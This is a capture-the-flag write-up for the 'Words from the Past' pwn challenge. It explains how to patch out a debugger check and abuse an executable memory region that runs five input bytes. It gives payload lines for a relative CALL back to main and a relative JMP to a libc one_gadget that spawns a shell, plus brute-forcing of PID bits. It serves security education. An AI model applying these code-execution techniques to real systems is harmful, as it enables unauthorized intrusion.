Hack The Box / Cyber Apocalypse CTF 2026 / 2026-07-29
Words from the Past (pwn)
After patching out the debugger check, we discover an RWX memory region that directly executes a five-byte payload. We first send a relative CALL instruction to loop back to main, triggering a second stage that maps executable memory right next to libc. Using a relative JMP instruction, we target a one_gadget inside libc to hijack execution flow and spawn a shell. Because the target memory address depends on the child process ID, we brute-force the eight possible PID offsets to reliably gain full control.
We are given a zip file:
unzip -l words_from_the_past.zip
Archive: words_from_the_past.zip
Length Date Time Name
--------- ---------- ----- ----
269 2026-05-10 14:08 Dockerfile
0 2026-05-17 04:03 challenge/
0 2026-05-17 04:03 challenge/glibc/
2125328 2026-05-17 01:59 challenge/glibc/libc.so.6
236616 2026-05-17 01:59 challenge/glibc/ld-linux-x86-64.so.2
18496 2026-05-17 03:51 challenge/words_from_the_past
--------- -------
2380709 6 files
file words_from_the_past
words_from_the_past: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=238fd45740ccdda61d7bc7e9b0d7ba0a587b8cbb, for GNU/Linux 3.2.0, stripped
Let's load the binary in Ghidra.
There is a branch in the code that checks for a debugger:
if (iVar1 != 0) {
puts("Debugger detected!");
/* WARNING: Subroutine does not return */
exit(1);
}
The corresponding instructions are:
00101362 74 3b JZ LAB_0010139f
00101364 48 8d LEA RAX,[s_Debugger_detected!_0010204d] = "Debugger detected!"
05 e2
0c 00 00
0010136b 48 89 c7 MOV RDI=>s_Debugger_detected!_0010204d,R = "Debugger detected!"
0010136e e8 ed CALL <EXTERNAL>::puts int puts(char * __s)
fc ff ff
00101373 bf 01 MOV EDI,0x1
00 00 00
We can simply patch the JZ and change it to JMP to bypass the debugger detection.
Looking at the rest of the code, the main vulnerability is extremely direct: the program maps attacker-controlled memory as readable, writable, and executable, reads bytes into it, and jumps to it.
UNRECOVERED_JUMPTABLE = mmap(local_38, 0x1000, 7, local_44, -1, 0);
read(0, UNRECOVERED_JUMPTABLE, 5);
...
(*UNRECOVERED_JUMPTABLE)();
We see that it reads 5 bytes from standard input into a memory region that is mapped with prot = 7.
prot = 7 means:
PROT_READ | PROT_WRITE | PROT_EXEC
Therefore, our five input bytes are executed directly as machine code.
The checks merely constrain the shellcode: - exactly five bytes must be read; - no \0 or newline; - no 0xcc; - the first byte must be either 0xe8 or 0xe9
First stage: controlled CALL rel32
On the first execution:
local_38 = (void *)0x1116d5;
local_44 = 0x22;
local_45 = 0xe8;
The first byte must therefore be 0xe8, the opcode for:
call rel32
Since the entire instruction is exactly five bytes, the input is interpreted as:
e8 XX XX XX XX
with destination:
target = shellcode_address + 5 + signed(rel32)
The obvious intended target is probably main itself. So the payload is:
payload1 = b"\xe8" + p32(main_addr - (stage1_addr + 5), signed=True)
Calling main again is particularly useful because the global state has changed:
DAT_00105030 = 1;
so the second invocation enters a different branch.
Second stage: mapping deliberately placed near libc
On the second invocation, the program finds the libc base by parsing /proc/self/maps.
It then calculates:
local_38 =
libc_base -
(((getpid() & 7) + 0x1000) * 0x1000);
and uses flags 0x32, approximately:
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED
This places the second executable page approximately 16 MiB below libc.
That placement is important because a five-byte relative branch has a signed 32-bit displacement. Almost every libc address is consequently reachable from the mapping.
Second stage: controlled JMP rel32 into libc
On the second invocation:
local_45 = 0xe9;
so the input must be:
e9 XX XX XX XX
which is:
jmp rel32
The payload is therefore:
payload2 = b"\xe9" + p32(
libc_target - (stage2_addr + 5),
signed=True
)
This provides a direct jump to, for example, a one_gadget in libc.
We can find one_gadgets with:
one_gadget ./glibc/libc.so.6
Brute forcing the child PID
Firstly we notice that the program uses fork() to create a child process. The child process is the one that executes the second stage. We already saw that the child PID is used to calculate the memory mapping address, which affects the relative jump offset:
local_38 = (void *)(libc_base + ((ulong)(pid & 7) + 4096) * -4096);
We don't know the child PID in advance, but there are at most 8 possibilities for the low three bits of the PID. Therefore, we can brute force the child PID by trying all 8 possibilities.
See the script sol.py for the full exploit. In the second stage we jump to a one_gadget in libc, which spawns a shell.